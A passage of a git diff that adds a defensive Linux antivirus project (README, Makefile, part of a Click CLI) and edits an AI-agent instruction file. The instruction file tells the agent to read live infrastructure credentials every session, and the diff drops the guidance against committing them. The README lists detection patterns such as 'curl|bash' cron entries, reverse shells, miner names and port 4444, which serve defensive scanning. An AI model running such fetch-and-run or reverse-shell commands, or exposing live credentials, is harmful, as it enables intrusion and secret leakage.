diff --git a/.claude/infra.md.example b/.claude/infra.md.example deleted file mode 100644 index 5074e11..0000000 --- a/.claude/infra.md.example +++ /dev/null @@ -1,37 +0,0 @@ -# Infrastructure Access — TEMPLATE -# Copy to .claude/infra.md and fill in real values. -# Share the real file via 1Password / Vault / `age` encrypted blob — NEVER commit it. - -## Dokploy -- **Dashboard**: https://dokploy.example.com -- **API Token**: `dkp_...` -- **SSH User**: `deploy` -- **SSH Host**: `dokploy.example.com` -- **SSH Port**: `22` -- **SSH Key Path**: `~/.ssh/id_dokploy` ← or reference a 1Password SSH key - -## Servers -| Name | IP / Host | SSH User | Notes | -|------------|------------------------|----------|----------------| -| prod-1 | 10.0.0.1 | deploy | primary node | -| staging-1 | 10.0.0.2 | deploy | staging node | - -## Docker Registry -- **Registry**: `ghcr.io/your-org` -- **Username**: `bot` -- **Token**: `ghp_...` - -## DNS / Cloudflare -- **API Token**: `cf_...` -- **Zone ID**: `...` - -## Monitoring -- **Grafana URL**: https://grafana.example.com -- **API Key**: `eyJ...` - -## Database -- **Prod Postgres**: `postgres://user:pass@host:5432/db` -- **Staging Postgres**: `postgres://user:pass@host:5432/db_staging` - -## Other Secrets - diff --git a/CLAUDE.md b/CLAUDE.md index 2f7de7a..4892750 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -2,8 +2,6 @@ ## Infrastructure Access **Always read `.claude/infra.md` at the start of every session** — it contains live credentials and connection details. -To set up: copy `.claude/infra.md.example` → `.claude/infra.md` and fill in real values. -**Team distribution**: share the real file via 1Password shared vault (or `age`-encrypted blob, never git). Pi Coding Agent extension examples and experiments. diff --git a/ayn-antivirus/.env.sample b/ayn-antivirus/.env.sample new file mode 100644 index 0000000..66fe057 --- /dev/null +++ b/ayn-antivirus/.env.sample @@ -0,0 +1,8 @@ +AYN_MALWAREBAZAAR_API_KEY= +AYN_VIRUSTOTAL_API_KEY= +AYN_SCAN_PATH=/ +AYN_QUARANTINE_PATH=/var/lib/ayn-antivirus/quarantine +AYN_DB_PATH=/var/lib/ayn-antivirus/signatures.db +AYN_LOG_PATH=/var/log/ayn-antivirus/ +AYN_AUTO_QUARANTINE=false +AYN_SCAN_SCHEDULE=0 2 * * * diff --git a/ayn-antivirus/.gitignore b/ayn-antivirus/.gitignore new file mode 100644 index 0000000..0f2d571 --- /dev/null +++ b/ayn-antivirus/.gitignore @@ -0,0 +1,11 @@ +__pycache__ +*.pyc +.env +*.db +dist/ +build/ +*.egg-info +ayn_antivirus/signatures/yara_rules/*.yar +/quarantine_vault/ +.pytest_cache +.coverage diff --git a/ayn-antivirus/Makefile b/ayn-antivirus/Makefile new file mode 100644 index 0000000..2e3b71c --- /dev/null +++ b/ayn-antivirus/Makefile @@ -0,0 +1,25 @@ +.PHONY: install dev-install test lint scan update-sigs clean + +install: + pip install . + +dev-install: + pip install -e ".[dev]" + +test: + pytest --cov=ayn_antivirus tests/ + +lint: + ruff check ayn_antivirus/ + black --check ayn_antivirus/ + +scan: + ayn-antivirus scan + +update-sigs: + ayn-antivirus update + +clean: + rm -rf build/ dist/ *.egg-info .pytest_cache .coverage + find . -type d -name __pycache__ -exec rm -rf {} + + find . -type f -name '*.pyc' -delete diff --git a/ayn-antivirus/README.md b/ayn-antivirus/README.md new file mode 100644 index 0000000..5474603 --- /dev/null +++ b/ayn-antivirus/README.md @@ -0,0 +1,574 @@ +

+

+██████╗ ██╗   ██╗███╗   ██╗
+██╔══██╗╚██╗ ██╔╝████╗  ██║
+███████║ ╚████╔╝ ██╔██╗ ██║
+██╔══██║  ╚██╔╝  ██║╚██╗██║
+██║  ██║   ██║   ██║ ╚████║
+╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═══╝
+⚔️ AYN ANTIVIRUS v1.0.0 ⚔️
+Server Protection Suite
+
+

+ +

+ Python 3.9+ + License: MIT + Platform: Linux + Version 1.0.0 +

+ +--- + +# AYN Antivirus + +**Comprehensive anti-virus, anti-malware, anti-spyware, and anti-cryptominer protection for Linux servers.** + +AYN Antivirus is a purpose-built security suite designed for server environments. It combines signature-based detection, YARA rules, heuristic analysis, and live system inspection to catch threats that traditional AV tools miss — from cryptominers draining your CPU to rootkits hiding in kernel modules. + +--- + +## Features + +- 🛡️ **Real-time file system monitoring** — watches directories with inotify/FSEvents via watchdog, scans new and modified files instantly +- 🔍 **Deep file scanning with multiple detection engines** — parallel, multi-threaded scans across signature, YARA, and heuristic detectors +- 🧬 **YARA rule support** — load custom and community YARA rules for flexible pattern matching +- 📊 **Heuristic analysis** — Shannon entropy scoring, obfuscation detection, reverse-shell patterns, permission anomalies +- ⛏️ **Cryptominer detection** — process-level, network-level, and file-content analysis (stratum URLs, wallet addresses, pool domains) +- 🕵️ **Spyware & keylogger detection** — identifies keyloggers, screen/audio capture tools, data exfiltration, and shell-profile backdoors +- 🦠 **Rootkit detection** — hidden processes, hidden kernel modules, LD_PRELOAD hijacking, tampered logs, hidden network ports +- 🌐 **Auto-updating threat signatures** — pulls from abuse.ch feeds (MalwareBazaar, ThreatFox, URLhaus, Feodo Tracker) and Emerging Threats +- 🔒 **Encrypted quarantine vault** — isolates malicious files with Fernet (AES-128-CBC + HMAC-SHA256) encryption and JSON metadata +- 🔧 **Auto-remediation & patching** — kills rogue processes, fixes permissions, blocks IPs/domains, cleans cron jobs, restores system binaries +- 📝 **Reports in Text, JSON, HTML** — generate human-readable or machine-parseable reports from scan results +- ⏰ **Scheduled scanning** — built-in cron-style scheduler for unattended operation + +--- + +## Quick Start + +```bash +# Install +pip install . + +# Update threat signatures +sudo ayn-antivirus update + +# Run a full scan +sudo ayn-antivirus scan + +# Quick scan (high-risk dirs only) +sudo ayn-antivirus scan --quick + +# Check protection status +ayn-antivirus status +``` + +--- + +## Installation + +### From pip (local) + +```bash +pip install . +``` + +### Editable install (development) + +```bash +pip install -e ".[dev]" +``` + +### From source with Make + +```bash +make install # production +make dev-install # development (includes pytest, black, ruff) +``` + +### System dependencies + +AYN uses [yara-python](https://github.com/VirusTotal/yara-python) for rule-based detection. On most systems pip handles this automatically, but you may need the YARA C library: + +| Distro | Command | +|---|---| +| **Debian / Ubuntu** | `sudo apt install yara libyara-dev` | +| **RHEL / CentOS / Fedora** | `sudo dnf install yara yara-devel` | +| **Arch** | `sudo pacman -S yara` | +| **macOS (Homebrew)** | `brew install yara` | + +After the system library is installed, `pip install yara-python` (or `pip install .`) will link against it. + +--- + +## Usage + +All commands accept `--verbose` / `-v` for detailed output and `--config ` to load a custom YAML config file. + +### File System Scanning + +```bash +# Full scan — all configured paths +sudo ayn-antivirus scan + +# Quick scan — /tmp, /var/tmp, /dev/shm, crontabs +sudo ayn-antivirus scan --quick + +# Deep scan — includes memory and hidden artifacts +sudo ayn-antivirus scan --deep + +# Scan a single file +ayn-antivirus scan --file /tmp/suspicious.bin + +# Targeted path with exclusions +sudo ayn-antivirus scan --path /home --exclude '*.log' --exclude '*.gz' +``` + +### Process Scanning + +```bash +# Scan running processes for miners & suspicious CPU usage +sudo ayn-antivirus scan-processes +``` + +Checks every running process against known miner names (xmrig, minerd, ethminer, etc.) and flags anything above the CPU threshold (default 80%). + +### Network Scanning + +```bash +# Inspect active connections for mining pool traffic +sudo ayn-antivirus scan-network +``` + +Compares remote addresses against known mining pool domains and suspicious ports (3333, 4444, 5555, 14444, etc.). + +### Update Signatures + +```bash +# Fetch latest threat intelligence from all feeds +sudo ayn-antivirus update + +# Force re-download even if signatures are fresh +sudo ayn-antivirus update --force +``` + +### Quarantine Management + +```bash +# List quarantined items +ayn-antivirus quarantine list + +# View details of a quarantined item +ayn-antivirus quarantine info 1 + +# Restore a quarantined file to its original location +sudo ayn-antivirus quarantine restore 1 + +# Permanently delete a quarantined item +ayn-antivirus quarantine delete 1 +``` + +### Real-Time Monitoring + +```bash +# Watch configured paths in the foreground (Ctrl+C to stop) +sudo ayn-antivirus monitor + +# Watch specific paths +sudo ayn-antivirus monitor --paths /var/www --paths /tmp + +# Run as a background daemon +sudo ayn-antivirus monitor --daemon +``` + +### Report Generation + +```bash +# Plain text report to stdout +ayn-antivirus report + +# JSON report to a file +ayn-antivirus report --format json --output /tmp/report.json + +# HTML report +ayn-antivirus report --format html --output report.html +``` + +### Auto-Fix / Remediation + +```bash +# Preview all remediation actions (no changes) +sudo ayn-antivirus fix --all --dry-run + +# Apply all remediations +sudo ayn-antivirus fix --all + +# Fix a specific threat by ID +sudo ayn-antivirus fix --threat-id 3 +``` + +### Status Check + +```bash +# View protection status at a glance +ayn-antivirus status +``` + +Displays signature freshness, last scan time, quarantine count, real-time monitor state, and engine toggles. + +### Configuration + +```bash +# Show active configuration +ayn-antivirus config + +# Set a config value (persisted to ~/.ayn-antivirus/config.yaml) +ayn-antivirus config --set auto_quarantine true +ayn-antivirus config --set scan_schedule '0 3 * * *' +``` + +--- + +## Configuration + +### Config file locations + +AYN loads configuration from the first file found (in order): + +| Priority | Path | +|---|---| +| 1 | Explicit `--config ` flag | +| 2 | `/etc/ayn-antivirus/config.yaml` | +| 3 | `~/.ayn-antivirus/config.yaml` | + +### Config file options + +```yaml +# Directories to scan +scan_paths: + - / +exclude_paths: + - /proc + - /sys + - /dev + - /run + - /snap + +# Storage +quarantine_path: /var/lib/ayn-antivirus/quarantine +db_path: /var/lib/ayn-antivirus/signatures.db +log_path: /var/log/ayn-antivirus/ + +# Behavior +auto_quarantine: false +scan_schedule: "0 2 * * *" +max_file_size: 104857600 # 100 MB + +# Engines +enable_yara: true +enable_heuristics: true +enable_realtime_monitor: false + +# API keys (optional) +api_keys: + malwarebazaar: "" + virustotal: "" +``` + +### Environment variables + +Environment variables override config file values. Copy `.env.sample` to `.env` and populate as needed. + +| Variable | Description | Default | +|---|---|---| +| `AYN_SCAN_PATH` | Comma-separated scan paths | `/` | +| `AYN_QUARANTINE_PATH` | Quarantine vault directory | `/var/lib/ayn-antivirus/quarantine` | +| `AYN_DB_PATH` | Signature database path | `/var/lib/ayn-antivirus/signatures.db` | +| `AYN_LOG_PATH` | Log directory | `/var/log/ayn-antivirus/` | +| `AYN_AUTO_QUARANTINE` | Auto-quarantine on detection (`true`/`false`) | `false` | +| `AYN_SCAN_SCHEDULE` | Cron expression for scheduled scans | `0 2 * * *` | +| `AYN_MAX_FILE_SIZE` | Max file size to scan (bytes) | `104857600` | +| `AYN_MALWAREBAZAAR_API_KEY` | MalwareBazaar API key | — | +| `AYN_VIRUSTOTAL_API_KEY` | VirusTotal API key | — | + +--- + +## Threat Intelligence Feeds + +AYN aggregates indicators from multiple open-source threat intelligence feeds: + +| Feed | Source | Data Type | +|---|---|---| +| **MalwareBazaar** | [bazaar.abuse.ch](https://bazaar.abuse.ch) | Malware sample hashes (SHA-256) | +| **ThreatFox** | [threatfox.abuse.ch](https://threatfox.abuse.ch) | IOCs — IPs, domains, URLs | +| **URLhaus** | [urlhaus.abuse.ch](https://urlhaus.abuse.ch) | Malware distribution URLs | +| **Feodo Tracker** | [feodotracker.abuse.ch](https://feodotracker.abuse.ch) | Botnet C2 IP addresses | +| **Emerging Threats** | [rules.emergingthreats.net](https://rules.emergingthreats.net) | Suricata / Snort IOCs | +| **YARA Rules** | Community & custom | Pattern-matching rules (`signatures/yara_rules/`) | + +Signatures are stored in a local SQLite database (`signatures.db`) with separate tables for hashes, IPs, domains, and URLs. Run `ayn-antivirus update` to pull the latest data. + +--- + +## Architecture + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ CLI (cli.py) │ +│ Click commands + Rich UI │ +└───────────────────────────────┬─────────────────────────────────┘ + │ + ┌───────────▼───────────┐ + │ Core Scan Engine │ + │ (core/engine.py) │ + └───┬────┬────┬────┬───┘ + │ │ │ │ + ┌─────────────┘ │ │ └─────────────┐ + ▼ ▼ ▼ ▼ + ┌─────────────────┐ ┌──────────────┐ ┌──────────────────────┐ + │ Detectors │ │ Scanners │ │ Monitor │ + │ ┌─────────────┐ │ │ ┌──────────┐ │ │ ┌──────────────────┐ │ + │ │ Signature │ │ │ │ File │ │ │ │ Real-time │ │ + │ │ YARA │ │ │ │ Process │ │ │ │ (watchdog) │ │ + │ │ Heuristic │ │ │ │ Network │ │ │ └──────────────────┘ │ + │ │ Cryptominer │ │ │ │ Memory │ │ └──────────────────────┘ + │ │ Spyware │ │ │ └──────────┘ │ + │ │ Rootkit │ │ └──────────────┘ + │ └─────────────┘ │ + └─────────────────┘ + │ ┌──────────────────────┐ + │ ┌───────────────────┐ │ Signatures │ + └───►│ Event Bus │ │ ┌──────────────────┐ │ + │ (core/event_bus) │ │ │ Feed Manager │ │ + └──────┬────────────┘ │ │ Hash DB │ │ + │ │ │ IOC DB │ │ + ┌──────────┼──────────┐ │ │ YARA Rules │ │ + ▼ ▼ ▼ │ └──────────────────┘ │ + ┌────────────┐ ┌────────┐ ┌───────┐ └──────────────────────┘ + │ Quarantine │ │Reports │ │Remedy │ + │ Vault │ │ Gen. │ │Patcher│ + │ (Fernet) │ │txt/json│ │ │ + │ │ │ /html │ │ │ + └────────────┘ └────────┘ └───────┘ +``` + +### Module summary + +| Module | Path | Responsibility | +|---|---|---| +| **CLI** | `cli.py` | User-facing commands (Click + Rich) | +| **Config** | `config.py` | YAML & env-var configuration loader | +| **Engine** | `core/engine.py` | Orchestrates file/process/network scans | +| **Event Bus** | `core/event_bus.py` | Internal pub/sub for scan events | +| **Scheduler** | `core/scheduler.py` | Cron-based scheduled scans | +| **Detectors** | `detectors/` | Pluggable detection engines (signature, YARA, heuristic, cryptominer, spyware, rootkit) | +| **Scanners** | `scanners/` | File, process, network, and memory scanners | +| **Monitor** | `monitor/realtime.py` | Watchdog-based real-time file watcher | +| **Quarantine** | `quarantine/vault.py` | Fernet-encrypted file isolation vault | +| **Remediation** | `remediation/patcher.py` | Auto-fix engine (kill, block, clean, restore) | +| **Reports** | `reports/generator.py` | Text, JSON, and HTML report generation | +| **Signatures** | `signatures/` | Feed fetchers, hash DB, IOC DB, YARA rules | + +--- + +## Auto-Patching Capabilities + +The remediation engine (`ayn-antivirus fix`) can automatically apply the following fixes: + +| Action | Description | +|---|---| +| **Fix permissions** | Strips SUID, SGID, and world-writable bits from compromised files | +| **Kill processes** | Sends SIGKILL to confirmed malicious processes (miners, reverse shells) | +| **Block IPs** | Adds `iptables` DROP rules for C2 and mining pool IP addresses | +| **Block domains** | Redirects malicious domains to `127.0.0.1` via `/etc/hosts` | +| **Clean cron jobs** | Removes entries matching suspicious patterns (curl\|bash, xmrig, etc.) | +| **Fix LD_PRELOAD** | Clears `/etc/ld.so.preload` entries injected by rootkits | +| **Clean SSH keys** | Removes `command=` forced-command entries from `authorized_keys` | +| **Remove startup entries** | Strips malicious lines from init scripts, systemd units, and `rc.local` | +| **Restore binaries** | Reinstalls tampered system binaries via `apt`/`dnf`/`yum` package manager | + +> **Tip:** Always run with `--dry-run` first to preview changes before applying. + +--- + +## Running as a Service + +Create a systemd unit to run AYN as a persistent real-time monitor: + +```ini +# /etc/systemd/system/ayn-antivirus.service +[Unit] +Description=AYN Antivirus Real-Time Monitor +After=network.target + +[Service] +Type=simple +ExecStart=/usr/local/bin/ayn-antivirus monitor --daemon +ExecReload=/bin/kill -HUP $MAINPID +Restart=on-failure +RestartSec=10 +User=root +Group=root + +# Hardening +ProtectSystem=strict +ReadWritePaths=/var/lib/ayn-antivirus /var/log/ayn-antivirus +NoNewPrivileges=false +PrivateTmp=true + +[Install] +WantedBy=multi-user.target +``` + +```bash +# Enable and start +sudo systemctl daemon-reload +sudo systemctl enable ayn-antivirus +sudo systemctl start ayn-antivirus + +# Check status +sudo systemctl status ayn-antivirus + +# View logs +sudo journalctl -u ayn-antivirus -f +``` + +Optionally add a timer unit for scheduled signature updates: + +```ini +# /etc/systemd/system/ayn-antivirus-update.timer +[Unit] +Description=AYN Antivirus Signature Update Timer + +[Timer] +OnCalendar=*-*-* 02:00:00 +Persistent=true + +[Install] +WantedBy=timers.target +``` + +```ini +# /etc/systemd/system/ayn-antivirus-update.service +[Unit] +Description=AYN Antivirus Signature Update + +[Service] +Type=oneshot +ExecStart=/usr/local/bin/ayn-antivirus update +User=root +``` + +```bash +sudo systemctl enable --now ayn-antivirus-update.timer +``` + +--- + +## Development + +### Prerequisites + +- Python 3.9+ +- [YARA](https://virustotal.github.io/yara/) C library (for yara-python) + +### Setup + +```bash +git clone +cd ayn-antivirus +pip install -e ".[dev]" +``` + +### Run tests + +```bash +make test +# or directly: +pytest --cov=ayn_antivirus tests/ +``` + +### Lint & format + +```bash +make lint +# or directly: +ruff check ayn_antivirus/ +black --check ayn_antivirus/ +``` + +### Auto-format + +```bash +black ayn_antivirus/ +``` + +### Project layout + +``` +ayn-antivirus/ +├── ayn_antivirus/ +│ ├── __init__.py # Package version +│ ├── __main__.py # python -m ayn_antivirus entry point +│ ├── cli.py # Click CLI commands +│ ├── config.py # Configuration loader +│ ├── constants.py # Thresholds, paths, known indicators +│ ├── core/ +│ │ ├── engine.py # Scan engine orchestrator +│ │ ├── event_bus.py # Internal event system +│ │ └── scheduler.py # Cron-based scheduler +│ ├── detectors/ +│ │ ├── base.py # BaseDetector ABC + DetectionResult +│ │ ├── signature_detector.py +│ │ ├── yara_detector.py +│ │ ├── heuristic_detector.py +│ │ ├── cryptominer_detector.py +│ │ ├── spyware_detector.py +│ │ └── rootkit_detector.py +│ ├── scanners/ +│ │ ├── file_scanner.py +│ │ ├── process_scanner.py +│ │ ├── network_scanner.py +│ │ └── memory_scanner.py +│ ├── monitor/ +│ │ └── realtime.py # Watchdog-based file watcher +│ ├── quarantine/ +│ │ └── vault.py # Fernet-encrypted quarantine +│ ├── remediation/ +│ │ └── patcher.py # Auto-fix engine +│ ├── reports/ +│ │ └── generator.py # Report output (text/json/html) +│ ├── signatures/ +│ │ ├── manager.py # Feed orchestrator +│ │ ├── db/ # Hash DB + IOC DB (SQLite) +│ │ ├── feeds/ # Feed fetchers (abuse.ch, ET, etc.) +│ │ └── yara_rules/ # .yar rule files +│ └── utils/ +│ ├── helpers.py +│ └── logger.py +├── tests/ # pytest test suite +├── pyproject.toml # Build config & dependencies +├── Makefile # Dev shortcuts +├── .env.sample # Environment variable template +└── README.md +``` + +### Contributing + +1. Fork the repo and create a feature branch +2. Write tests for new functionality +3. Ensure `make lint` and `make test` pass +4. Submit a pull request + +--- + +## License + +This project is licensed under the **MIT License**. See [LICENSE](LICENSE) for details. + +--- + +

+ ⚔️ Stay protected. Stay vigilant. ⚔️ +

diff --git a/ayn-antivirus/ayn_antivirus/__init__.py b/ayn-antivirus/ayn_antivirus/__init__.py new file mode 100644 index 0000000..1f356cc --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/__init__.py @@ -0,0 +1 @@ +__version__ = '1.0.0' diff --git a/ayn-antivirus/ayn_antivirus/__main__.py b/ayn-antivirus/ayn_antivirus/__main__.py new file mode 100644 index 0000000..c1dd09f --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/__main__.py @@ -0,0 +1,4 @@ +from ayn_antivirus.cli import main + +if __name__ == "__main__": + main() diff --git a/ayn-antivirus/ayn_antivirus/cli.py b/ayn-antivirus/ayn_antivirus/cli.py new file mode 100644 index 0000000..4e6fcf1 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/cli.py @@ -0,0 +1,1252 @@ +"""AYN Antivirus — CLI interface. + +Main entry point for all user-facing commands. Built with Click and Rich. +""" + +from __future__ import annotations + +import json +import sys +import time +from datetime import datetime +from pathlib import Path +from typing import Optional + +import click +from rich.console import Console +from rich.panel import Panel +from rich.progress import ( + BarColumn, + MofNCompleteColumn, + Progress, + SpinnerColumn, + TextColumn, + TimeElapsedColumn, + TimeRemainingColumn, +) +from rich.table import Table +from rich.text import Text +from rich import box + +from ayn_antivirus import __version__ +from ayn_antivirus.config import Config +from ayn_antivirus.constants import ( + DEFAULT_DB_PATH, + DEFAULT_LOG_PATH, + DEFAULT_QUARANTINE_PATH, + DEFAULT_SCAN_PATH, + HIGH_CPU_THRESHOLD, +) +from ayn_antivirus.utils.helpers import format_size, format_duration + +# --------------------------------------------------------------------------- +# Console singletons +# --------------------------------------------------------------------------- +console = Console(stderr=True) +out = Console() + +# --------------------------------------------------------------------------- +# Severity helpers +# --------------------------------------------------------------------------- +SEVERITY_STYLES = { + "CRITICAL": "bold red", + "HIGH": "bold yellow", + "MEDIUM": "bold blue", + "LOW": "bold green", +} + + +def severity_text(level: str) -> Text: + """Return a Rich Text object coloured by severity.""" + return Text(level, style=SEVERITY_STYLES.get(level.upper(), "white")) + + +# --------------------------------------------------------------------------- +# Banner +# --------------------------------------------------------------------------- +BANNER = r""" +[bold cyan] ██████╗ ██╗ ██╗███╗ ██╗ + ██╔══██╗╚██╗ ██╔╝████╗ ██║ + ███████║ ╚████╔╝ ██╔██╗ ██║ + ██╔══██║ ╚██╔╝ ██║╚██╗██║ + ██║ ██║ ██║ ██║ ╚████║ + ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝[/bold cyan] +[bold white] ⚔️ AYN ANTIVIRUS v{version} ⚔️[/bold white] +[dim] Server Protection Suite[/dim] +""".strip() + + +def print_banner() -> None: + """Print the AYN ASCII banner.""" + console.print() + console.print(BANNER.format(version=__version__)) + console.print() + + +# --------------------------------------------------------------------------- +# Progress bar factory +# --------------------------------------------------------------------------- +def make_progress(**kwargs) -> Progress: + """Return a pre-configured Rich progress bar.""" + return Progress( + SpinnerColumn(), + TextColumn("[bold blue]{task.description}"), + BarColumn(bar_width=40), + MofNCompleteColumn(), + TimeElapsedColumn(), + TimeRemainingColumn(), + console=console, + **kwargs, + ) + + +# --------------------------------------------------------------------------- +# Root group +# --------------------------------------------------------------------------- +@click.group(invoke_without_command=True) +@click.option( + "--config", + "config_path", + type=click.Path(exists=True, dir_okay=False), + default=None, + help="Path to a YAML configuration file.", +) +@click.option("--verbose", "-v", is_flag=True, help="Enable verbose output.") +@click.version_option(version=__version__, prog_name="ayn-antivirus") +@click.pass_context +def main(ctx: click.Context, config_path: Optional[str], verbose: bool) -> None: + """AYN Antivirus — Comprehensive server protection suite. + + Anti-malware · Anti-spyware · Anti-cryptominer · Rootkit detection + """ + ctx.ensure_object(dict) + ctx.obj = Config.load(config_path) + ctx.obj._verbose = verbose # type: ignore[attr-defined] + + if ctx.invoked_subcommand is None: + print_banner() + click.echo(ctx.get_help()) + + +# =================================================================== +# scan +# =================================================================== +@main.command() +@click.option( + "--path", + "scan_path", + type=click.Path(exists=True), + default=None, + help="Target path to scan (default: configured scan paths).", +) +@click.option("--quick", is_flag=True, help="Quick scan — critical directories only.") +@click.option("--deep", is_flag=True, help="Deep scan — includes memory and hidden artifacts.") +@click.option( + "--file", + "single_file", + type=click.Path(exists=True, dir_okay=False), + default=None, + help="Scan a single file.", +) +@click.option( + "--exclude", + multiple=True, + help="Glob pattern(s) to exclude from the scan.", +) +@click.pass_obj +def scan( + cfg: Config, + scan_path: Optional[str], + quick: bool, + deep: bool, + single_file: Optional[str], + exclude: tuple, +) -> None: + """Run a file-system threat scan. + + By default, all configured scan paths are checked. Use --quick for a fast + pass over /tmp, /var/tmp, /dev/shm, and crontabs, or --deep to also inspect + running process memory regions. + + \b + Examples + -------- + ayn-antivirus scan + ayn-antivirus scan --path /home --exclude '*.log' + ayn-antivirus scan --quick + ayn-antivirus scan --file /tmp/suspicious.bin + """ + from ayn_antivirus.core.engine import ScanEngine, FileScanResult + + print_banner() + + if quick and deep: + console.print("[red]Error:[/red] --quick and --deep are mutually exclusive.") + raise SystemExit(1) + + engine = ScanEngine(cfg) + + # Determine scan mode label + if single_file: + mode = "single-file" + targets = [single_file] + elif quick: + mode = "quick" + targets = ["/tmp", "/var/tmp", "/dev/shm", "/var/spool/cron", "/etc/cron.d"] + elif scan_path: + mode = "targeted" + targets = [scan_path] + else: + mode = "deep" if deep else "full" + targets = cfg.scan_paths + + exclude_patterns = list(exclude) + cfg.exclude_paths + + console.print( + Panel( + f"[bold]Mode:[/bold] {mode}\n" + f"[bold]Targets:[/bold] {', '.join(targets)}\n" + f"[bold]Exclude:[/bold] {', '.join(exclude_patterns) or '(none)'}\n" + f"[bold]YARA:[/bold] {'enabled' if cfg.enable_yara else 'disabled'}\n" + f"[bold]Heuristics:[/bold] {'enabled' if cfg.enable_heuristics else 'disabled'}", + title="[bold cyan]Scan Configuration[/bold cyan]", + border_style="cyan", + ) + ) + + # --- Single file scan --- + if single_file: + console.print() + with make_progress(transient=True) as progress: + task = progress.add_task("Scanning file…", total=1) + result = engine.scan_file(single_file) + progress.advance(task) + + if result.threats: + _print_threat_table_from_engine(result.threats) + _print_scan_summary( + scanned=1 if result.scanned else 0, + errors=1 if result.error else 0, + threat_count=len(result.threats), + elapsed=0.0, + ) + return + + # --- Quick scan --- + if quick: + console.print() + start = time.monotonic() + scan_result = engine.quick_scan( + callback=lambda _fr: None, + ) + elapsed = time.monotonic() - start + + if scan_result.threats: + _print_threat_table_from_engine(scan_result.threats) + _print_scan_summary( + scanned=scan_result.files_scanned, + errors=scan_result.files_skipped, + threat_count=len(scan_result.threats), + elapsed=elapsed, + ) + return + + # --- Path / full scan --- + console.print() + all_threats = [] + total_scanned = 0 + total_skipped = 0 + start = time.monotonic() + + for target in targets: + tp = Path(target) + if not tp.exists(): + console.print(f"[yellow]⚠ Path does not exist:[/yellow] {target}") + continue + + scan_result = engine.scan_path(target, recursive=True, quick=False) + total_scanned += scan_result.files_scanned + total_skipped += scan_result.files_skipped + all_threats.extend(scan_result.threats) + + elapsed = time.monotonic() - start + + if all_threats: + _print_threat_table_from_engine(all_threats) + _print_scan_summary( + scanned=total_scanned, + errors=total_skipped, + threat_count=len(all_threats), + elapsed=elapsed, + ) + + +def _print_scan_summary( + scanned: int, errors: int, threat_count: int, elapsed: float +) -> None: + """Render the post-scan summary panel.""" + status_colour = "green" if threat_count == 0 else "red" + status_icon = "✅" if threat_count == 0 else "🚨" + + lines = [ + f"[bold]Files scanned:[/bold] {scanned}", + f"[bold]Errors:[/bold] {errors}", + f"[bold]Threats found:[/bold] [{status_colour}]{threat_count}[/{status_colour}]", + f"[bold]Elapsed:[/bold] {format_duration(elapsed)}", + ] + + console.print() + console.print( + Panel( + "\n".join(lines), + title=f"{status_icon} [bold {status_colour}]Scan Complete[/bold {status_colour}]", + border_style=status_colour, + ) + ) + + +def _print_threat_table_from_engine(threats: list) -> None: + """Render a table of ThreatInfo objects from the engine.""" + table = Table( + title="Threats Detected", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("#", style="dim", width=4) + table.add_column("Severity", width=10) + table.add_column("File", style="cyan", max_width=60) + table.add_column("Threat", style="white") + table.add_column("Type", style="dim") + table.add_column("Detector", style="dim") + + for idx, t in enumerate(threats, 1): + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + ttype = t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type) + table.add_row( + str(idx), + severity_text(sev), + t.path, + t.threat_name, + ttype, + t.detector_name, + ) + + console.print() + console.print(table) + + +# =================================================================== +# scan-processes +# =================================================================== +@main.command("scan-processes") +@click.pass_obj +def scan_processes(cfg: Config) -> None: + """Scan running processes for malware, miners, and suspicious activity. + + Inspects process names, command lines, CPU usage, and open network + connections against known cryptominer signatures and heuristics. + """ + from ayn_antivirus.core.engine import ScanEngine + + print_banner() + + console.print( + Panel( + "[bold]Checking running processes…[/bold]", + title="[bold cyan]Process Scanner[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + + with make_progress(transient=True) as progress: + task = progress.add_task("Scanning processes…", total=None) + result = engine.scan_processes() + progress.update(task, total=result.processes_scanned, completed=result.processes_scanned) + + if not result.threats: + console.print( + Panel( + f"[green]Scanned {result.processes_scanned} processes — no threats.[/green]", + title="✅ [bold green]All Clear[/bold green]", + border_style="green", + ) + ) + return + + table = Table( + title="Suspicious Processes", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("PID", style="dim", width=8) + table.add_column("Severity", width=10) + table.add_column("Process", style="cyan") + table.add_column("CPU %", style="white", justify="right") + table.add_column("Details", style="white", max_width=50) + + for t in result.threats: + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + table.add_row( + str(t.pid), + severity_text(sev), + t.name, + f"{t.cpu_percent:.1f}%", + t.details, + ) + + console.print() + console.print(table) + console.print( + f"\n[bold red]🚨 {len(result.threats)} suspicious process(es) found.[/bold red]" + ) + + +# =================================================================== +# scan-network +# =================================================================== +@main.command("scan-network") +@click.pass_obj +def scan_network(cfg: Config) -> None: + """Scan active network connections for suspicious activity. + + Checks for connections to known mining pools, suspicious ports, and + unexpected outbound traffic patterns. + """ + from ayn_antivirus.core.engine import ScanEngine + + print_banner() + + console.print( + Panel( + "[bold]Inspecting network connections…[/bold]", + title="[bold cyan]Network Scanner[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + + with make_progress(transient=True) as progress: + task = progress.add_task("Analysing connections…", total=None) + result = engine.scan_network() + progress.update(task, total=result.connections_scanned, completed=result.connections_scanned) + + if not result.threats: + console.print( + Panel( + f"[green]Scanned {result.connections_scanned} connections — no threats.[/green]", + title="✅ [bold green]Network Clear[/bold green]", + border_style="green", + ) + ) + return + + table = Table( + title="Suspicious Connections", + box=box.ROUNDED, + show_lines=True, + title_style="bold red", + ) + table.add_column("PID", style="dim", width=8) + table.add_column("Severity", width=10) + table.add_column("Local", style="cyan") + table.add_column("Remote", style="red") + table.add_column("Process", style="white") + table.add_column("Details", style="white", max_width=45) + + for t in result.threats: + sev = t.severity.name if hasattr(t.severity, "name") else str(t.severity) + table.add_row( + str(t.pid or "?"), + severity_text(sev), + t.local_addr, + t.remote_addr, + t.process_name, + t.details, + ) + + console.print() + console.print(table) + 